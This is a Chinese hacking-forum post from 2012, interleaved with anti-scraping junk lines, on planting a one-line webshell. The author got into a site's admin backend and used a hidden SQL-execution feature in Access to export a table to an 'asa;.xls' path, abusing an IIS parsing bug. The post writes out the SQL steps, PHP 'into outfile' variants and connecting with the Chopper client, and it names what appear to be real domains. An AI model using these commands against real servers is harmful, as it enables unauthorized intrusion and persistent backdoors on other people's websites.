中国网络渗透测试联盟
标题:
ACCESS执行SQL命令导出一句话SHELL
[打印本页]
作者:
admin
时间:
2012-9-13 17:53
标题:
ACCESS执行SQL命令导出一句话SHELL
好不容易进了后台，发现啥上传啊。备份啊多木有。
0 l8 b* F! Y0 O7 u! n
webshell一直拿不到。后来翻了一下源码。有一个执行SQL命令的
6 e# o8 `" S" k. L* p/ f
文件。可后台没显示这功能。直接填上文件名字，执行命令的选项出来了，
. r+ s% P g+ {5 Q
然后就试用了下面的命令导出一句话木马。没想到成功了。命令方法如下：
: i' L& C9 x) \5 _
1.create table cmd (a varchar(50))
9 K Q6 {3 Q1 I
2.insert into cmd (a) values (‘‘)
# a D- @% [9 R* A$ U: h, O4 k. W, h
3.select * into [a] in ‘D:\wwwroot\
www.koohik.com
\hacker.asa;.xls’ ‘excel 4.0;’ from cmd
# R2 S7 F8 H8 `6 Z+ F
(把表cmd的内容导出为物理路径的一个EXCEL文件)
& M* {6 Q2 e5 w: f! F) }$ [
4.drop table cmd
; x6 T' X8 j0 ]2 k7 [# n
利用IIS的BUG成功拿到了WEBSHELL。
: z1 s- T* k- g) M
! d: _4 I3 F; ^) D; o/ h F
直接菜刀里连接
http://www.chouwazi.com/data/xiao.asp;xiao.xls
一句话
4 k% h0 [. b9 V1 R7 O
( w Z9 p9 y* z: D: C
SQL语句意思解释：
9 _+ ?9 C, P* F2 G. ^% a
第一句
: j: C e: m$ J$ {8 X6 E) H; a) S
建立一个有一个A字段的表 表名为cmd 字段类型为字符 长度为50
" i, x% O: U$ H* P+ A
* |, B- G- G E) \: z
第二句
' ~ S& u- V& k% I. B8 L
在表cmd的a字段插入一句话木马
5 e! \$ G" q! d+ L- q3 k! |
第三句
% Z m" F3 {; E; Z5 ^
把cmd表a的内容导出到路径e:\host\chouwazi.com\web\data\的EXCEL文件
% L' B2 I/ G# i* g5 o
9 g+ s& I* k% H
第四句
& E, P% h+ x* p# @
删除建立的cmd表
% `1 Z: n8 F" A1 [
: l1 y% |0 ?, }# a
以下内容为测试：
% l$ N4 g/ |4 O. o' I$ H
Access利用后台SQL执行命令功能导出WebShell:
) t0 m" m" o \7 z% l4 \; p
这个更简单：
5 r; @( x1 p& A' X
[ol][li]Select 'asp一句话木马' into [vote] in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote [/li][/ol]
8 u. u5 V$ {) s# M/ t3 r4 t; R
或者
/ X! d! X+ @4 H
[ol][li]Select 'php一句话木马' into outfile 'F:/wwwroot/chouwazi.com/eval.php'; [/li][/ol]
% V1 v# {- d) Z' u( I8 i" |3 z8 y
+ _: @, q5 h; x) ?
后台有执行SQL语句功能(vote为已知表段)
, P: H+ D I2 h" b9 Q
希望对大家有所帮助拿shell的又一个思路
$ I0 O2 K& J; @; G& W
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2